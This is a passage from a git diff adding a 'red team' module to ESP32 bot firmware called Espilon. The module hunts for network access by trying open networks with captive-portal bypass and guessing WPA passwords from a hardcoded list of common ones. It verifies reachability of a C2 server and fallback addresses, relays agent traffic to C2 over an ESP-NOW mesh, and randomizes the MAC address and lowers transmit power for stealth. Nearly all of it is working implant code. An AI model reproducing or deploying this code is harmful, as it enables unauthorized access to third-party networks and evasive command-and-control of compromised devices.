"mesh_probe", + [RT_MESH_RELAY] = "mesh_relay", + [RT_TRYING_KNOWN] = "trying_known", + [RT_TRYING_OPEN] = "trying_open", + [RT_TRYING_WPA] = "trying_wpa", + [RT_PORTAL_CHECK] = "portal_check", + [RT_PORTAL_BYPASS] = "portal_bypass", + [RT_C2_VERIFY] = "c2_verify", + [RT_CONNECTED] = "connected", + [RT_GPRS] = "gprs", +}; + +/* Common WPA passwords (flash, not RAM) */ +static const char * const common_passwords[] = { + "12345678", "password", "00000000", "11111111", + "123456789", "1234567890", "admin1234", "wifi1234", + "internet", "guest", "welcome", "freewifi", + "password1", "qwerty123", "abcd1234", "12341234", + "home1234", "default", "changeme", +}; +#define NUM_COMMON_PASSWORDS (sizeof(common_passwords) / sizeof(common_passwords[0])) + +/* ============================================================ + * WiFi event handler for hunt (registered dynamically) + * ============================================================ */ + +static void rt_wifi_event_handler(void *arg, esp_event_base_t base, + int32_t id, void *data) +{ + if (!s_evt_group) return; + + if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) { + xEventGroupSetBits(s_evt_group, RT_EVT_GOT_IP); + } + if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) { + xEventGroupSetBits(s_evt_group, RT_EVT_DISCONNECT); + } +} + +/* ============================================================ + * Helpers + * ============================================================ */ + +static void set_state(rt_state_t new_state) +{ + state_lock(); + s_state = new_state; + state_unlock(); + ESP_LOGI(TAG, "→ %s", state_names[new_state]); +} + +/* Try to connect to a WiFi network. Returns true if got IP. */ +static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms) +{ + wifi_config_t cfg = {0}; + strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1); + if (pass && pass[0]) { + strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1); + } + + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(200)); + + esp_wifi_set_config(WIFI_IF_STA, &cfg); + + xEventGroupClearBits(s_evt_group, RT_EVT_GOT_IP | RT_EVT_DISCONNECT); + esp_wifi_connect(); + + EventBits_t bits = xEventGroupWaitBits( + s_evt_group, + RT_EVT_GOT_IP | RT_EVT_DISCONNECT, + pdTRUE, /* clear on exit */ + pdFALSE, /* any bit */ + pdMS_TO_TICKS(timeout_ms) + ); + + if (bits & RT_EVT_GOT_IP) { + ESP_LOGI(TAG, "Got IP on '%s'", ssid); + return true; + } + + ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid); + return false; +} + +/* Try TCP connect to C2. Returns true if reachable. + * Does NOT keep the socket — just verifies connectivity. */ +static bool tcp_try_c2(const char *ip, int port) +{ + struct sockaddr_in addr = {0}; + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr.s_addr = inet_addr(ip); + + int s = lwip_socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) return false; + + /* Set connect timeout */ + struct timeval tv = { .tv_sec = RT_TCP_TIMEOUT_S, .tv_usec = 0 }; + lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)); + lwip_close(s); + + if (ret == 0) { + ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port); + return true; + } + + return false; +} + +/* Try C2 primary + fallbacks. Returns true if any reachable. */ +static bool verify_c2_reachable(void) +{ + set_state(RT_C2_VERIFY); + + /* Try primary C2 */ + if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) { + return true; + } + + /* Try NVS fallback addresses */ + rt_c2_addr_t addrs[CONFIG_RT_MAX_C2_FALLBACKS]; + int count = rt_config_c2_list(addrs, CONFIG_RT_MAX_C2_FALLBACKS); + + for (int i = 0; i < count; i++) { + /* Parse "ip:port" */ + char ip_buf[48]; + int port = CONFIG_SERVER_PORT; + strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1); + ip_buf[sizeof(ip_buf) - 1] = '\0'; + + char *colon = strrchr(ip_buf, ':'); + if (colon) { + *colon = '\0'; + port = atoi(colon + 1); + if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT; + } + + if (tcp_try_c2(ip_buf, port)) { + return true; + } + } + + ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count); + return false; +} + +/* Mark successful connection */ +static void mark_connected(const char *ssid, const char *method) +{ + state_lock(); + strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1); + s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0'; + strncpy(s_connected_method, method, sizeof(s_connected_method) - 1); + s_connected_method[sizeof(s_connected_method) - 1] = '\0'; + state_unlock(); + set_state(RT_CONNECTED); + + char buf[128]; + snprintf(buf, sizeof(buf), "Connected via %s: '%s'", method, ssid); + msg_info(TAG, buf, NULL); +} + +/* ============================================================ + * WiFi scan (active — passive scan is Phase 3) + * ============================================================ */ + +typedef struct { + char ssid[33]; + uint8_t bssid[6]; + int8_t rssi; + uint8_t channel; + wifi_auth_mode_t authmode; +} rt_candidate_t; + +#define RT_MAX_CANDIDATES 32 + +static rt_candidate_t s_candidates[RT_MAX_CANDIDATES]; +static int s_candidate_count = 0; + +static void do_wifi_scan(void) +{ + s_candidate_count = 0; + + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(200)); + + wifi_scan_config_t scan_cfg = { + .ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = true, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { .min = 120, .max = 300 }, + }, + }; + + esp_err_t err = esp_wifi_scan_start(&scan_cfg, true); /* blocking */ + if (err != ESP_OK) { + ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err)); + return; + } + + uint16_t ap_count = 0; + esp_wifi_scan_get_ap_num(&ap_count); + if (ap_count == 0) { + ESP_LOGW(TAG, "Scan: 0 APs found"); + return; + } + + if (ap_count > RT_MAX_CANDIDATES) ap_count = RT_MAX_CANDIDATES; + + wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t)); + if (!records) { + esp_wifi_scan_get_ap_records(&ap_count, NULL); /* free scan memory */ + return; + } + + esp_wifi_scan_get_ap_records(&ap_count, records); + + for (int i = 0; i < ap_count; i++) { + rt_candidate_t *c = &s_candidates[s_candidate_count]; + strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1); + c->ssid[sizeof(c->ssid) - 1] = '\0'; + memcpy(c->bssid, records[i].bssid, 6); + c->rssi = records[i].rssi; + c->channel = records[i].primary; + c->authmode = records[i].authmode; + s_candidate_count++; + } + + free(records); + ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count); + + /* Report to C2 */ + char buf[64]; + snprintf(buf, sizeof(buf), "Scan complete: %d APs", s_candidate_count); + msg_info(TAG, buf, NULL); +} + +/* ============================================================ + * Strategy 1: Try known networks (NVS) + * ============================================================ */ + +static bool try_known_networks(void) +{ + set_state(RT_TRYING_KNOWN); + + /* Try original WiFi config first (the one we were connected to) */ + if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) { + ESP_LOGI(TAG, "Trying original WiFi: '%s'", + (char *)s_orig_wifi_config.sta.ssid); + +#ifdef CONFIG_RT_STEALTH + rt_stealth_randomize_mac(); +#endif + + if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid, + (char *)s_orig_wifi_config.sta.password, + RT_WIFI_TIMEOUT_MS)) { + if (verify_c2_reachable()) { + mark_connected((char *)s_orig_wifi_config.sta.ssid, "original"); + return true; + } + ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable"); + } + } + + /* Then try NVS known networks */ + rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS]; + int net_count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS); + + if (net_count == 0) { + ESP_LOGI(TAG, "No additional known networks in NVS"); + return false; + } + + /* Try each known network that was found in scan */ + for (int n = 0; n < net_count; n++) { + /* Check if this SSID was in the scan results */ + bool found_in_scan = false; + for (int c = 0; c < s_candidate_count; c++) { + if (strcmp(s_candidates[c].ssid, nets[n].ssid) == 0) { + found_in_scan = true; + break; + } + } + + if (!found_in_scan) { + /* Still try — might be hidden or missed by scan */ + } + + ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid); + +#ifdef CONFIG_RT_STEALTH + rt_stealth_randomize_mac(); +#endif + + if (wifi_try_connect(nets[n].ssid, nets[n].pass, RT_WIFI_TIMEOUT_MS)) { + if (verify_c2_reachable()) { + mark_connected(nets[n].ssid, "known"); + return true; + } + ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid); + } + } + + return false; +} + +/* ============================================================ + * Strategy 2: Try open WiFi networks + * ============================================================ */ + +static bool try_open_networks(void) +{ + set_state(RT_TRYING_OPEN); + + for (int i = 0; i < s_candidate_count; i++) { + if (s_candidates[i].authmode != WIFI_AUTH_OPEN) + continue; + if (s_candidates[i].ssid[0] == '\0') + continue; /* hidden */ + + ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)", + s_candidates[i].ssid, s_candidates[i].rssi); + +#ifdef CONFIG_RT_STEALTH + rt_stealth_randomize_mac(); +#endif + + if (wifi_try_connect(s_candidates[i].ssid, "", RT_WIFI_TIMEOUT_MS)) { + /* Check for captive portal */ + set_state(RT_PORTAL_CHECK); + rt_portal_status_t portal = rt_captive_detect(); + + if (portal == RT_PORTAL_NONE) { + if (verify_c2_reachable()) { + mark_connected(s_candidates[i].ssid, "open"); + return true; + } + } else if (portal == RT_PORTAL_DETECTED) { + set_state(RT_PORTAL_BYPASS); + if (rt_captive_bypass()) { + if (verify_c2_reachable()) { + mark_connected(s_candidates[i].ssid, "open+portal"); + return true; + } + } + ESP_LOGW(TAG, "Portal bypass failed for '%s'", + s_candidates[i].ssid); + } else { + /* RT_PORTAL_UNKNOWN — try C2 directly anyway */ + if (verify_c2_reachable()) { + mark_connected(s_candidates[i].ssid, "open"); + return true; + } + } + } + } + + return false; +} + +/* ============================================================ + * Strategy 3: Try WPA with common passwords + * ============================================================ */ + +static bool try_wpa_common(void) +{ + set_state(RT_TRYING_WPA); + + for (int i = 0; i < s_candidate_count; i++) { + /* Only WPA/WPA2, strong signal */ + if (s_candidates[i].authmode == WIFI_AUTH_OPEN || + s_candidates[i].authmode == WIFI_AUTH_WEP) + continue; + if (s_candidates[i].rssi < RT_WPA_MIN_RSSI) + continue; + if (s_candidates[i].ssid[0] == '\0') + continue; + + ESP_LOGI(TAG, "Trying WPA passwords on '%s' (RSSI=%d)", + s_candidates[i].ssid, s_candidates[i].rssi); + + int tries = 0; + for (int p = 0; p < (int)NUM_COMMON_PASSWORDS && tries < RT_MAX_WPA_TRIES; p++) { + tries++; + +#ifdef CONFIG_RT_STEALTH + rt_stealth_randomize_mac(); +#endif + + if (wifi_try_connect(s_candidates[i].ssid, + common_passwords[p], + RT_WIFI_TIMEOUT_MS)) { + /* Connected! Verify C2 */ + if (verify_c2_reachable()) { + mark_connected(s_candidates[i].ssid, "wpa"); + return true; + } + /* Connected to WiFi but C2 unreachable — still good find, + but continue looking for one with C2 access */ + ESP_LOGW(TAG, "'%s' pass='%s' — WiFi OK but no C2", + s_candidates[i].ssid, common_passwords[p]); + break; /* Don't try more passwords on this SSID */ + } + } + } + + return false; +} + +/* ============================================================ + * Hunt task — main state machine + * ============================================================ */ + +extern atomic_bool fb_active; /* defined in WiFi.c */ +extern void wifi_pause_reconnect(void); +extern void wifi_resume_reconnect(void); +extern SemaphoreHandle_t sock_mutex; + +static void hunt_task(void *arg) +{ + (void)arg; + ESP_LOGI(TAG, "Hunt task started"); + + /* Save original WiFi config */ + if (!s_orig_config_saved) { + esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config); + s_orig_config_saved = true; + } + + /* Let the command response (msg_info "Hunt started") flush over TCP + * before we disconnect WiFi. Without this delay the response is lost. */ + vTaskDelay(pdMS_TO_TICKS(500)); + + /* Take control of WiFi from normal reconnect logic */ + fb_active = true; + wifi_pause_reconnect(); + + /* Register our event handler */ + esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP, + &rt_wifi_event_handler, NULL); + esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED, + &rt_wifi_event_handler, NULL); + + while (s_active) { + + /* ---- STEALTH PREP ---- */ +#ifdef CONFIG_RT_STEALTH + set_state(RT_STEALTH_PREP); + rt_stealth_randomize_mac(); + rt_stealth_low_tx_power(); + vTaskDelay(pdMS_TO_TICKS(100)); +#endif + + /* ---- SCAN ---- */ + set_state(RT_PASSIVE_SCAN); + do_wifi_scan(); + + /* ---- MESH PROBE ---- */ +#ifdef CONFIG_RT_MESH + set_state(RT_MESH_PROBE); + rt_mesh_probe(); + vTaskDelay(pdMS_TO_TICKS(3000)); /* Wait for ACK */ + + rt_mesh_peer_t peer; + if (rt_mesh_get_relay(&peer) && peer.available) { + set_state(RT_MESH_RELAY); + msg_info(TAG, "Mesh relay available — using ESP-NOW", NULL); + mark_connected("ESP-NOW", "mesh"); + + /* Stay in mesh relay mode until stopped or wifi found */ + while (s_active && rt_mesh_is_running()) { + vTaskDelay(pdMS_TO_TICKS(5000)); + } + if (!s_active) break; + } +#endif + + /* ---- STRATEGY 1: Known networks ---- */ + if (s_active && try_known_networks()) break; + + /* ---- STRATEGY 2: Open networks ---- */ + if (s_active && try_open_networks()) break; + + /* ---- STRATEGY 3: WPA common passwords ---- */ + if (s_active && try_wpa_common()) break; + + /* ---- STRATEGY 4: GPRS ---- */ +#ifdef CONFIG_RT_GPRS_FALLBACK + set_state(RT_GPRS); + ESP_LOGW(TAG, "GPRS fallback — not yet implemented"); +#endif + + /* ---- All strategies failed — wait and rescan ---- */ + if (!s_active) break; + + ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan", + RT_RESCAN_DELAY_S); + set_state(RT_IDLE); + + for (int i = 0; i < RT_RESCAN_DELAY_S && s_active; i++) { + vTaskDelay(pdMS_TO_TICKS(1000)); + } + } + + /* ---- Cleanup ---- */ + + /* Unregister our handler */ + esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP, + &rt_wifi_event_handler); + esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED, + &rt_wifi_event_handler); + + if (s_state == RT_CONNECTED) { + /* We found a connection — let the normal tcp_client_task take over. + * It will use whatever WiFi we're connected to. */ +#ifdef CONFIG_RT_STEALTH + rt_stealth_restore_tx_power(); +#endif + fb_active = false; + wifi_resume_reconnect(); + ESP_LOGI(TAG, "Hunt complete — handing off to tcp_client_task"); + } else { + /* Restore original WiFi config */ +#ifdef CONFIG_RT_STEALTH + rt_stealth_restore_mac(); + rt_stealth_restore_tx_power(); +#endif + if (s_orig_config_saved) { + esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config); + } + fb_active = false; + wifi_resume_reconnect(); + + /* Reconnect to original WiFi */ + esp_wifi_connect(); + ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi"); + } + + s_task_handle = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ + +const char *rt_hunt_state_name(rt_state_t state) +{ + if (state <= RT_GPRS) + return state_names[state]; + return "unknown"; +} + +rt_state_t rt_hunt_get_state(void) +{ + state_lock(); + rt_state_t st = s_state; + state_unlock(); + return st; +} + +bool rt_hunt_is_active(void) +{ + return s_active; +} + +const char *rt_hunt_connected_ssid(void) +{ + /* Returned pointer is to static buffer — safe to read while mutex + ensures the string is not being partially written. Caller should + copy if it needs to keep the value. */ + static char ssid_copy[33]; + state_lock(); + memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy)); + state_unlock(); + return ssid_copy; +} + +const char *rt_hunt_connected_method(void) +{ + static char method_copy[16]; + state_lock(); + memcpy(method_copy, s_connected_method, sizeof(method_copy)); + state_unlock(); + return method_copy; +} + +void rt_hunt_trigger(void) +{ + if (s_active) { + ESP_LOGW(TAG, "Hunt already active"); + return; + } + + /* Create mutex ONCE before any task uses it — avoids lazy init race */ + if (!s_state_mutex) { + s_state_mutex = xSemaphoreCreateMutex(); + } + + if (!s_evt_group) { + s_evt_group = xEventGroupCreate(); + } + + s_active = true; + state_lock(); + s_state = RT_IDLE; + s_connected_ssid[0] = '\0'; + s_connected_method[0] = '\0'; + state_unlock(); + + BaseType_t ret = xTaskCreatePinnedToCore( + hunt_task, + "rt_hunt", + RT_HUNT_STACK, + NULL, + RT_HUNT_PRIO, + &s_task_handle, + 1 /* Core 1 */ + ); + + if (ret != pdPASS) { + ESP_LOGE(TAG, "Failed to create hunt task"); + s_active = false; + } +} + +void rt_hunt_stop(void) +{ + if (!s_active) return; + + s_active = false; /* Signal task to exit */ + + /* Wait for task to finish cleanup (max 5s) */ + for (int i = 0; i < 50 && s_task_handle != NULL; i++) { + vTaskDelay(pdMS_TO_TICKS(100)); + } + + state_lock(); + s_state = RT_IDLE; + s_connected_ssid[0] = '\0'; + s_connected_method[0] = '\0'; + state_unlock(); + ESP_LOGI(TAG, "Hunt stopped"); +} + +#endif /* CONFIG_MODULE_REDTEAM */ diff --git a/espilon_bot/components/mod_redteam/rt_hunt.h b/espilon_bot/components/mod_redteam/rt_hunt.h new file mode 100644 index 0000000..405a148 --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_hunt.h @@ -0,0 +1,61 @@ +/* + * rt_hunt.h + * Red Team hunt state machine — autonomous network hunting. + */ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================ + * Hunt states + * ============================================================ */ + +typedef enum { + RT_IDLE, + RT_STEALTH_PREP, + RT_PASSIVE_SCAN, + RT_MESH_PROBE, + RT_MESH_RELAY, + RT_TRYING_KNOWN, + RT_TRYING_OPEN, + RT_TRYING_WPA, + RT_PORTAL_CHECK, + RT_PORTAL_BYPASS, + RT_C2_VERIFY, + RT_CONNECTED, + RT_GPRS, +} rt_state_t; + +/* ============================================================ + * API + * ============================================================ */ + +/* Trigger the hunt (start the state machine task if not running). + * Called by C2 command or auto-trigger on TCP failure. */ +void rt_hunt_trigger(void); + +/* Stop the hunt, restore original WiFi + MAC + TX power. */ +void rt_hunt_stop(void); + +/* Get current state. */ +rt_state_t rt_hunt_get_state(void); + +/* Get state name as string. */ +const char *rt_hunt_state_name(rt_state_t state); + +/* Is the hunt task currently running? */ +bool rt_hunt_is_active(void); + +/* Get the SSID we connected to (empty if none). */ +const char *rt_hunt_connected_ssid(void); + +/* Get the method used to connect (e.g. "known", "open", "wpa", "mesh"). */ +const char *rt_hunt_connected_method(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_mesh.c b/espilon_bot/components/mod_redteam/rt_mesh.c new file mode 100644 index 0000000..cf29b78 --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_mesh.c @@ -0,0 +1,296 @@ +/* + * rt_mesh.c + * ESP-NOW mesh relay between Espilon agents. + * + * Protocol: + * Agent A (no internet) → ESP-NOW broadcast "ESPNOW_PROBE" + * Agent B (connected) → ESP-NOW unicast "ESPNOW_ACK:" + * Agent A sends → "RELAY::" + * Agent B receives → forwards via TCP to C2 + * Agent B receives resp → "REPLY::" + * + * ESP-NOW works WITHOUT WiFi association — pure 802.11 P2P. + */ +#include "sdkconfig.h" +#include "rt_mesh.h" +#include + +#ifdef CONFIG_MODULE_REDTEAM +#ifdef CONFIG_RT_MESH +#include + +#include "esp_log.h" +#include "esp_now.h" +#include "esp_wifi.h" +#include "lwip/sockets.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/semphr.h" + +#include "utils.h" + +static const char *TAG = "RT_MESH"; + +#define ESPNOW_PMK "espilon_mesh_pmk" /* 16 bytes primary master key */ +#define ESPNOW_CHANNEL 1 +#define PROBE_MAGIC "ESPNOW_PROBE" +#define ACK_MAGIC "ESPNOW_ACK:" +#define RELAY_MAGIC "RELAY:" +#define REPLY_MAGIC "REPLY:" +#define PROBE_INTERVAL_MS 5000 +#define MAX_PEERS 4 + +static volatile bool s_running = false; +static volatile bool s_initialized = false; +static TaskHandle_t s_probe_task = NULL; + +/* Best relay peer */ +static rt_mesh_peer_t s_best_relay = {0}; +static SemaphoreHandle_t s_relay_mutex = NULL; + +/* ============================================================ + * ESP-NOW receive callback + * ============================================================ */ + +static void espnow_recv_cb(const esp_now_recv_info_t *info, + const uint8_t *data, int len) +{ + if (!s_running || !data || len <= 0) return; + + /* ACK from a connected agent: "ESPNOW_ACK:" */ + if (len > (int)strlen(ACK_MAGIC) && + memcmp(data, ACK_MAGIC, strlen(ACK_MAGIC)) == 0) { + + const char *dev_id = (const char *)data + strlen(ACK_MAGIC); + int id_len = len - (int)strlen(ACK_MAGIC); + if (id_len <= 0 || id_len > 15) id_len = (id_len <= 0) ? 0 : 15; + if (id_len == 0) return; + + if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, 0) == pdTRUE) { + /* Use RSSI to pick the best relay */ + int8_t rssi = info->rx_ctrl->rssi; + if (!s_best_relay.available || rssi > s_best_relay.rssi) { + memcpy(s_best_relay.mac, info->src_addr, 6); + memcpy(s_best_relay.device_id, dev_id, id_len); + s_best_relay.device_id[id_len] = '\0'; + s_best_relay.rssi = rssi; + s_best_relay.available = true; + + ESP_LOGI(TAG, "Relay found: %s (RSSI=%d)", s_best_relay.device_id, rssi); + } + xSemaphoreGive(s_relay_mutex); + } + return; + } + + /* PROBE from another agent looking for a relay */ + if (len == (int)strlen(PROBE_MAGIC) && + memcmp(data, PROBE_MAGIC, strlen(PROBE_MAGIC)) == 0) { + + /* We answer only if we have internet (sock >= 0) */ + extern int sock; + if (sock >= 0) { + /* Send ACK with our device_id */ + char ack[64]; + int ack_len = snprintf(ack, sizeof(ack), "%s%s", ACK_MAGIC, CONFIG_DEVICE_ID); + + /* Add peer if not already added */ + esp_now_peer_info_t peer = {0}; + memcpy(peer.peer_addr, info->src_addr, 6); + peer.channel = 0; /* current channel */ + peer.encrypt = false; + esp_now_add_peer(&peer); /* ignore error if already exists */ + + esp_now_send(info->src_addr, (uint8_t *)ack, ack_len); + ESP_LOGI(TAG, "Answered PROBE from %02X:%02X:%02X:%02X:%02X:%02X", + info->src_addr[0], info->src_addr[1], info->src_addr[2], + info->src_addr[3], info->src_addr[4], info->src_addr[5]); + } + return; + } + + /* RELAY request from another agent: forward to C2 via TCP */ + if (len > (int)strlen(RELAY_MAGIC) && + memcmp(data, RELAY_MAGIC, strlen(RELAY_MAGIC)) == 0) { + + extern int sock; + extern SemaphoreHandle_t sock_mutex; + if (sock >= 0 && sock_mutex) { + const uint8_t *payload = data + strlen(RELAY_MAGIC); + int payload_len = len - strlen(RELAY_MAGIC); + + xSemaphoreTake(sock_mutex, portMAX_DELAY); + int s = sock; + xSemaphoreGive(sock_mutex); + + if (s >= 0) { + /* Forward as-is — the payload is already encrypted E2E */ + lwip_write(s, payload, payload_len); + lwip_write(s, "\n", 1); + ESP_LOGI(TAG, "Relayed %d bytes to C2", payload_len); + } + } + return; + } +} + +/* ============================================================ + * ESP-NOW send callback + * ============================================================ */ + +static void espnow_send_cb(const uint8_t *mac, esp_now_send_status_t status) +{ + /* Minimal — just log failures */ + if (status != ESP_NOW_SEND_SUCCESS) { + ESP_LOGW(TAG, "ESP-NOW send failed to %02X:%02X:%02X:%02X:%02X:%02X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + } +} + +/* ============================================================ + * Probe task — periodically broadcast to find relays + * ============================================================ */ + +static void probe_task(void *arg) +{ + (void)arg; + + /* Broadcast peer */ + esp_now_peer_info_t bcast = {0}; + memset(bcast.peer_addr, 0xFF, 6); + bcast.channel = 0; + bcast.encrypt = false; + esp_now_add_peer(&bcast); + + while (s_running) { + /* Broadcast probe */ + esp_now_send(bcast.peer_addr, + (uint8_t *)PROBE_MAGIC, + strlen(PROBE_MAGIC)); + + vTaskDelay(pdMS_TO_TICKS(PROBE_INTERVAL_MS)); + } + + s_probe_task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ + +bool rt_mesh_start(void) +{ + if (s_running) return true; + + if (!s_relay_mutex) { + s_relay_mutex = xSemaphoreCreateMutex(); + } + + if (!s_initialized) { + esp_err_t ret = esp_now_init(); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "esp_now_init failed: %s", esp_err_to_name(ret)); + return false; + } + + esp_now_register_recv_cb(espnow_recv_cb); + esp_now_register_send_cb(espnow_send_cb); + s_initialized = true; + } + + s_running = true; + memset(&s_best_relay, 0, sizeof(s_best_relay)); + + xTaskCreatePinnedToCore(probe_task, "rt_mesh", 3072, NULL, 4, &s_probe_task, 0); + + ESP_LOGI(TAG, "ESP-NOW mesh relay started"); + return true; +} + +void rt_mesh_stop(void) +{ + s_running = false; + + /* Wait for probe task to stop */ + for (int i = 0; i < 30 && s_probe_task != NULL; i++) { + vTaskDelay(pdMS_TO_TICKS(100)); + } + + if (s_initialized) { + esp_now_deinit(); + s_initialized = false; + } + + memset(&s_best_relay, 0, sizeof(s_best_relay)); + ESP_LOGI(TAG, "ESP-NOW mesh relay stopped"); +} + +bool rt_mesh_is_running(void) +{ + return s_running; +} + +bool rt_mesh_send(const uint8_t *data, size_t len) +{ + if (!s_running || !s_best_relay.available) return false; + if (len > 240) { /* ESP-NOW max payload = 250, minus RELAY: prefix */ + ESP_LOGW(TAG, "Payload too large for ESP-NOW (%d bytes)", (int)len); + return false; + } + + /* Build "RELAY:" */ + uint8_t buf[250]; + int prefix_len = strlen(RELAY_MAGIC); + memcpy(buf, RELAY_MAGIC, prefix_len); + memcpy(buf + prefix_len, data, len); + + esp_err_t ret = esp_now_send(s_best_relay.mac, buf, prefix_len + len); + return (ret == ESP_OK); +} + +void rt_mesh_probe(void) +{ + if (!s_running) return; + + /* Reset best relay */ + if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, portMAX_DELAY) == pdTRUE) { + memset(&s_best_relay, 0, sizeof(s_best_relay)); + xSemaphoreGive(s_relay_mutex); + } + + /* Broadcast probe immediately */ + uint8_t bcast[6]; + memset(bcast, 0xFF, 6); + esp_now_send(bcast, (uint8_t *)PROBE_MAGIC, strlen(PROBE_MAGIC)); +} + +bool rt_mesh_get_relay(rt_mesh_peer_t *out) +{ + if (!out) return false; + if (!s_relay_mutex) { + memset(out, 0, sizeof(*out)); + return false; + } + + xSemaphoreTake(s_relay_mutex, portMAX_DELAY); + memcpy(out, &s_best_relay, sizeof(rt_mesh_peer_t)); + xSemaphoreGive(s_relay_mutex); + + return out->available; +} + +#else /* !CONFIG_RT_MESH */ + +bool rt_mesh_start(void) { return false; } +void rt_mesh_stop(void) { } +bool rt_mesh_is_running(void) { return false; } +bool rt_mesh_send(const uint8_t *data, size_t len) { (void)data; (void)len; return false; } +void rt_mesh_probe(void) { } +bool rt_mesh_get_relay(rt_mesh_peer_t *out) { + if (out) { memset(out, 0, sizeof(*out)); out->available = false; } + return false; +} + +#endif /* CONFIG_RT_MESH */ +#endif /* CONFIG_MODULE_REDTEAM */ diff --git a/espilon_bot/components/mod_redteam/rt_mesh.h b/espilon_bot/components/mod_redteam/rt_mesh.h new file mode 100644 index 0000000..7add7b0 --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_mesh.h @@ -0,0 +1,42 @@ +/* + * rt_mesh.h + * ESP-NOW mesh relay between Espilon agents. + */ +#pragma once + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Start ESP-NOW mesh (init, register callbacks, start probe/relay). */ +bool rt_mesh_start(void); + +/* Stop ESP-NOW mesh. */ +void rt_mesh_stop(void); + +/* Is mesh running? */ +bool rt_mesh_is_running(void); + +/* Send data via ESP-NOW relay (Agent A → Agent B → C2). */ +bool rt_mesh_send(const uint8_t *data, size_t len); + +/* Broadcast a probe to find connected agents. */ +void rt_mesh_probe(void); + +/* Get best relay peer info (device_id, RSSI). Empty if none found. */ +typedef struct { + uint8_t mac[6]; + char device_id[16]; + int8_t rssi; + bool available; +} rt_mesh_peer_t; + +bool rt_mesh_get_relay(rt_mesh_peer_t *out); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_stealth.c b/espilon_bot/components/mod_redteam/rt_stealth.c new file mode 100644 index 0000000..e48d558 --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_stealth.c @@ -0,0 +1,272 @@ +/* + * rt_stealth.c + * OPSEC: MAC randomization, TX power control, passive scan. + */ +#include "sdkconfig.h" +#include "rt_stealth.h" + +#ifdef CONFIG_MODULE_REDTEAM + +#include +#include "esp_log.h" +#include "esp_wifi.h" +#include "esp_random.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +static const char *TAG = "RT_STEALTH"; + +/* ============================================================ + * MAC randomization + * ============================================================ */ + +static uint8_t s_orig_mac[6] = {0}; +static bool s_mac_saved = false; + +void rt_stealth_save_original_mac(void) +{ + if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) { + s_mac_saved = true; + ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X", + s_orig_mac[0], s_orig_mac[1], s_orig_mac[2], + s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]); + } +} + +void rt_stealth_randomize_mac(void) +{ + uint8_t mac[6]; + esp_fill_random(mac, 6); + mac[0] &= 0xFE; /* unicast */ + mac[0] |= 0x02; /* locally administered */ + + /* Must disconnect before changing MAC */ + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(50)); + + esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac); + if (err == ESP_OK) { + 